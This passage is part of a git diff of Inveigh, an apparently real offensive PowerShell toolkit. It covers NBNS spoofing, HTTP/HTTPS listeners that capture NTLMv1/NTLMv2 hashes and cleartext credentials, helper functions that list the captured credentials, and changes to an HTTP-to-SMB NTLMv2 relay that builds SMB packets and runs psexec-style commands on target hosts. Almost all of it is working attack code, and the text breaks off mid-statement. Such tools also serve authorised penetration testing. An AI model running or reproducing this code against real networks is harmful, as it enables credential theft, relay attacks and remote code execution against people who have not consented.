if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + if($inveigh.bruteforce_running) + { + HTTPListenerStop + $inveigh.console_queue.add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")]) + Start-Sleep -m 5 + $inveigh.bruteforce_running = $false + } + + if($inveigh.relay_running) + { + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false + } + + if($inveigh.running) + { + $inveigh.console_queue.add("Inveigh exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh exited due to run time")]) + Start-Sleep -m 5 + $inveigh.running = $false + } + } + } + + if($NBNSPause -and $inveigh.hostname_spoof) + { + if($inveigh.NBNS_stopwatch.elapsed -ge $NBNS_pause) + { + $inveigh.hostname_spoof = $false + } + } + + if($inveigh.file_output -and !$inveigh.running) + { + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } + } + + Start-Sleep -m 5 + } + } + +# End ScriptBlocks +# Begin Startup Functions + +# HTTP Listener Startup Function +Function HTTPListener() +{ + if($HTTPIP) + { + $HTTPIP = [system.net.IPAddress]::Parse($HTTPIP) + $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::any,$HTTPPort) + } + + $inveigh.HTTP_listener = New-Object System.Net.Sockets.TcpListener $inveigh.HTTP_endpoint + $inveigh.HTTP_listener.Start() + $HTTP_runspace = [runspacefactory]::CreateRunspace() + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTP_powershell = [powershell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument($HTTPResponse).AddArgument( + $MachineAccounts).AddArgument($NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument( + $WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Spoofer Startup Function +Function Spoofer() +{ + $spoofer_runspace = [runspacefactory]::CreateRunspace() + $spoofer_runspace.Open() + $spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $spoofer_powershell = [powershell]::Create() + $spoofer_powershell.Runspace = $spoofer_runspace + $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument( + $SpooferTarget).AddArgument($NBNSPause).AddArgument($NBNSTTL) > $null + $spoofer_powershell.BeginInvoke() > $null +} + +# Control Brute Force Startup Function +Function ControlBruteForceLoop() +{ + $control_bruteforce_runspace = [runspacefactory]::CreateRunspace() + $control_bruteforce_runspace.Open() + $control_bruteforce_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_bruteforce_powershell = [powershell]::Create() + $control_bruteforce_powershell.Runspace = $control_bruteforce_runspace + $control_bruteforce_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_bruteforce_powershell.AddScript($control_bruteforce_scriptblock).AddArgument($NBNSPause).AddArgument($RunTime) > $null + $control_bruteforce_powershell.BeginInvoke() > $null +} + +# End Startup Functions + +# Startup Enabled Services + +# HTTP Server Start +if($HTTP -eq 'y') +{ + HTTPListener +} + +# Spoofer Start +if($NBNS -eq 'y') +{ + Spoofer +} + +# Control Brute Force Loop Start +if($NBNSPause -or $RunTime -or $inveigh.file_output) +{ + ControlBruteForceLoop +} + +if($inveigh.console_output) +{ + :console_loop while(($inveigh.bruteforce_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* written to *" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveRange(0,1) + } + "* for relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } + + if($inveigh.console_input) + { + if([console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 + } +} + +if($inveigh.file_output -and !$inveigh.running) +{ + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } +} + +} +#End Invoke-Inveigh + +Function Stop-Inveigh +{ + <# + .SYNOPSIS + Stop-Inveigh will stop all running Inveigh functions. + #> + if($inveigh) + { + if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) + { + + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + if($inveigh.bruteforce_running) + { + $inveigh.bruteforce_running = $false + $inveigh.status_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")|Out-Null + $inveigh.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $inveigh.HTTP_listener.server.Close() + Start-Sleep -s 1 + $inveigh.HTTP_listener.Stop() + $inveigh.status_queue.add("Inveigh Brute Force exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh Brute Force exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Brute Force exited"| Out-File $Inveigh.log_out_file -Append + } + } + + if($inveigh.relay_running) + { + $inveigh.relay_running = $false + $inveigh.status_queue.add("Inveigh Relay exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh Relay exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Relay exited"| Out-File $Inveigh.log_out_file -Append + } + } + + if($inveigh.running) + { + $inveigh.running = $false + $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh exited"| Out-File $Inveigh.log_out_file -Append + } + } + + } + else + { + $inveigh.status_queue.add("There are no running Inveigh functions") | Out-Null + } + + if($inveigh.HTTPS) + { + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] + $certificate_store.Remove($certificate) + $certificate_store.Close() + } + catch + { + $inveigh.status_queue.add("SSL Certificate Deletion Error - Remove Manually")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"|Out-File $Inveigh.log_out_file -Append + } + } + } + + $inveigh.HTTP = $false + $inveigh.HTTPS = $false + + } + else + { + $inveigh.status_queue.add("There are no running Inveigh functions")|Out-Null + } + + if($inveigh.status_output) + { + while($inveigh.status_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.status_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + "SSL Certificate Deletion Error - Remove Manually" + { + write-warning $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + } + } + } + } +} + +Function Get-Inveigh +{ + <# + .SYNOPSIS + Get-Inveigh will display queued Inveigh output. + #> + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* written to *" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveRange(0,1) + } + "* for relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } +} + +Function Get-InveighCleartext +{ + <# + .SYNOPSIS + Get-InveighCleartext will get all captured cleartext credentials. + #> + $inveigh.cleartext_list +} + +Function Get-InveighNTLM +{ + <# + .SYNOPSIS + Get-InveighNTLM will get all captured challenge/response hashes. + #> + $inveigh.NTLMv1_list + $inveigh.NTLMv2_list +} + +Function Get-InveighNTLMv1 +{ + <# + .SYNOPSIS + Get-InveighNTLMv1 will get captured NTLMv1 challenge/response hashes. + + .PARAMETER Unique + Display only the first captured challenge/response for each unique account. + #> + param + ( + [parameter(Mandatory=$false)][switch]$Unique, + [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter + ) + + if ($invalid_parameter) + { + throw "$($invalid_parameter) is not a valid parameter." + } + + if($Unique) + { + $inveigh.NTLMv1_list.sort() + + ForEach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.substring(0,$unique_NTLMv1.indexof(":",($unique_NTLMv1.indexof(":")+2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + $unique_NTLMv1 + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + } + else + { + $inveigh.NTLMv1_list + } +} + +Function Get-InveighNTLMv2 +{ + <# + .SYNOPSIS + Get-InveighNTLMv2 will get captured NTLMv1 challenge/response hashes. + + .PARAMETER Unique + Display only the first captured challenge/response for each unique account. + #> + param + ( + [parameter(Mandatory=$false)][switch]$Unique, + [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter + ) + + if ($invalid_parameter) + { + throw "$($invalid_parameter) is not a valid parameter." + } + + if($Unique) + { + $inveigh.NTLMv2_list.sort() + + ForEach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.substring(0,$unique_NTLMv2.indexof(":",($unique_NTLMv2.indexof(":")+2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + $unique_NTLMv2 + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + } + else + { + $inveigh.NTLMv2_list + } +} + +Function Get-InveighLog +{ + <# + .SYNOPSIS + Get-InveighLog will get log. + #> + $inveigh.log +} + +Function Get-InveighStat +{ + <# + .SYNOPSIS + Get-InveighLog will get log. + #> + Write-Output("Total Cleartext Captures = " + $inveigh.cleartext_list.count) + Write-Output("Total NTLMv1 Captures = " + $inveigh.NTLMv1_list.count) + Write-Output("Total NTLMv2 Captures = " + $inveigh.NTLMv2_list.count) +} + +Function Watch-Inveigh +{ + <# + .SYNOPSIS + Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. + #> + if($inveigh.tool -ne 1) + { + if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) + { + Write-Output "Press any key to stop real time console output" + $inveigh.console_output = $true + + :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* written to *" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveRange(0,1) + } + "* for relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } + + if([console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + Start-Sleep -m 5 + } + } + else + { + Write-Output "Inveigh isn't running" + } + } + else + { + Write-Output "Watch-Inveigh cannot be used with current external tool selection" + } +} + +Function Clear-Inveigh +{ + <# + .SYNOPSIS + Clear-Inveigh will clear Inveigh data from memory. + #> + if($inveigh) + { + if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) + { + Remove-Variable inveigh -scope global + Write-Output "Inveigh data has been cleared from memory" + } + else + { + Write-Output "Run Stop-Inveigh before running Clear-Inveigh" + } + } +} diff --git a/Scripts/Inveigh-Relay.ps1 b/Scripts/Inveigh-Relay.ps1 index 47a487c..98b320e 100644 --- a/Scripts/Inveigh-Relay.ps1 +++ b/Scripts/Inveigh-Relay.ps1 @@ -2,11 +2,16 @@ Function Invoke-InveighRelay { <# .SYNOPSIS -Invoke-InveighRelay is the main Inveigh SMB relay function. Invoke-InveighRelay can be used either through Invoke-Inveigh or as a standalone function. +Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. .DESCRIPTION Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB relay with psexec style command execution. + HTTP/HTTPS to SMB NTLMv2 relay with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS + Granular control of console and file output + Can be executed as either a standalone function or through Invoke-Inveigh + .PARAMETER HTTP Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. @@ -14,8 +19,11 @@ Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. +.PARAMETER HTTPSCertAppID +Specify a valid application GUID for use with the ceriticate. + .PARAMETER HTTPSCertThumbprint -Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be inveigh.pfx. +Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. .PARAMETER Challenge Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. @@ -52,7 +60,7 @@ Default = Disabled: (Y/N) Enable/Disable real time file output. Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. .PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. +Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. .PARAMETER OutputDir @@ -61,6 +69,9 @@ Default = Working Directory: Set a valid path to an output directory for log and .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. +.PARAMETER RunTime +(Integer) Set the run time duration in minutes. + .PARAMETER Tool Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire @@ -78,10 +89,9 @@ https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/pow .LINK https://github.com/Kevin-Robertson/Inveigh - #> -# Default parameter values can be modified in this section +# Parameter default values can be modified in this section: param ( [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", @@ -100,8 +110,10 @@ param [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", + [parameter(Mandatory=$false)][int]$RunTime="", [parameter(Mandatory=$true)][string]$SMBRelayCommand = "", - [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="76a49fd27011cf4311fb6914c904c90a89f3e4b2", + [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) @@ -114,7 +126,8 @@ if(!$SMBRelayTarget) { Throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" } -elseif(!$SMBRelayCommand) + +if(!$SMBRelayCommand) { Throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" } @@ -138,11 +151,6 @@ if(!$inveigh) $inveigh.SMBRelay_failed_list = @() } -if($inveigh.relay_running) -{ - Throw "Invoke-InveighRelay is already running, use Stop-Inveigh" -} - if($inveigh.HTTP_listener.IsListening) { $inveigh.HTTP_listener.Stop() @@ -156,6 +164,7 @@ if(!$inveigh.running) $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.certificate_application_ID = $HTTPSCertAppID $inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.console_output = $false @@ -164,7 +173,7 @@ if(!$inveigh.running) $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" - $inveigh.challenge = $Challenge + $Inveigh.challenge = $Challenge } $inveigh.relay_running = $true @@ -215,7 +224,7 @@ else if(!$inveigh.running) { $inveigh.status_queue.add("Inveigh Relay started at $(Get-Date -format 's')")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay started")]) |Out-Null if($HTTP -eq 'y') { @@ -236,10 +245,13 @@ if(!$inveigh.running) $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") + $certificate.Import($PWD.Path + "\Inveigh.pfx") $certificate_store.Add($certificate) $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch @@ -295,6 +307,15 @@ if(!$inveigh.running) { $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null } + + if($RunTime -eq 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null + } + elseif($RunTime -gt 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null + } } $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null @@ -365,7 +386,7 @@ if($inveigh.status_output) } } -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |Select-Object -expand id $process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) $process_ID = $process_ID -replace "-00-00","" [Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)} @@ -534,11 +555,19 @@ $SMB_relay_response_scriptblock = { $SMB_relay_response_stream = $SMB_relay_socket.GetStream() } - - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 244) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 248) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 252) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length - 256) + + $SMB_length_1 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 12)) + $SMB_length_1 = $SMB_length_1 -replace "-00-00","" + $SMB_length_1 = $SMB_length_1.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_2 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 8)) + $SMB_length_2 = $SMB_length_2 -replace "-00-00","" + $SMB_length_2 = $SMB_length_2.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_3 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 4)) + $SMB_length_3 = $SMB_length_3 -replace "-00-00","" + $SMB_length_3 = $SMB_length_3.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_NTLMSSP_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00","" + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} @@ -548,6 +577,10 @@ $SMB_relay_response_scriptblock = $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [array]::Reverse($SMB_length_1) + [array]::Reverse($SMB_length_2) + [array]::Reverse($SMB_length_3) + [array]::Reverse($SMB_NTLMSSP_length) [array]::Reverse($SMB_netbios_length) $j = 0 @@ -563,17 +596,17 @@ $SMB_relay_response_scriptblock = + $SMB_blob_length` + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + $SMB_byte_count` - + (0xa1,0x82,0x01)` + + (0xa1,0x82)` + $SMB_length_1` - + (0x30,0x82,0x01)` + + (0x30,0x82)` + $SMB_length_2` - + (0xa2,0x82,0x01)` + + (0xa2,0x82)` + $SMB_length_3` - + (0x04,0x82,0x01)` + + (0x04,0x82)` + $SMB_NTLMSSP_length` + $HTTP_request_bytes` + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) - + $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length) $SMB_relay_response_stream.Flush() @@ -620,17 +653,17 @@ $SMB_relay_execute_scriptblock = $SMB_relay_failed = $false $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - $SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) $SMB_service = $SMB_service_random -replace "-00","" $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1) $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) $SMB_service_random += '00-00-00' [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" - [System.Text.Encoding]::ASCII.GetBytes($SMBRelayCommand) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ } + [System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object { $SMB_relay_command += "{0:X2}-00-" -f $_ } if([bool]($SMBRelayCommand.length%2)) { @@ -928,7 +961,7 @@ $HTTP_scriptblock = } else { - $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} } @@ -1173,7 +1206,7 @@ $HTTP_scriptblock = } else { - $inveigh.console_queue.add("NTLMv1 relay not yet supported") + $inveigh.console_queue.add("NTLMv1 SMB relay not yet supported") $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) $inveigh.SMB_relay_active_step = 0 $SMB_relay_socket.Close() @@ -1218,7 +1251,74 @@ $HTTP_scriptblock = $HTTP_stream.write($HTTP_buffer, 0, $HTTP_buffer.length) $HTTP_stream.close() - if(!$inveigh.running -and $inveigh.file_output) + } + + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() +} + +$control_relay_scriptblock = +{ + param ($RunTime) + + if($RunTime) + { + $control_timeout = new-timespan -Minutes $RunTime + $control_stopwatch = [diagnostics.stopwatch]::StartNew() + } + + while ($inveigh.relay_running) + { + + if($RunTime) + { + if($control_stopwatch.elapsed -ge $control_timeout) + { + if($inveigh.HTTP_listener.IsListening) + { + $inveigh.HTTP_listener.Stop() + $inveigh.HTTP_listener.Close() + } + + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false + + if($inveigh.HTTPS) + { + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + + try + { + $certificate_store = New-Object 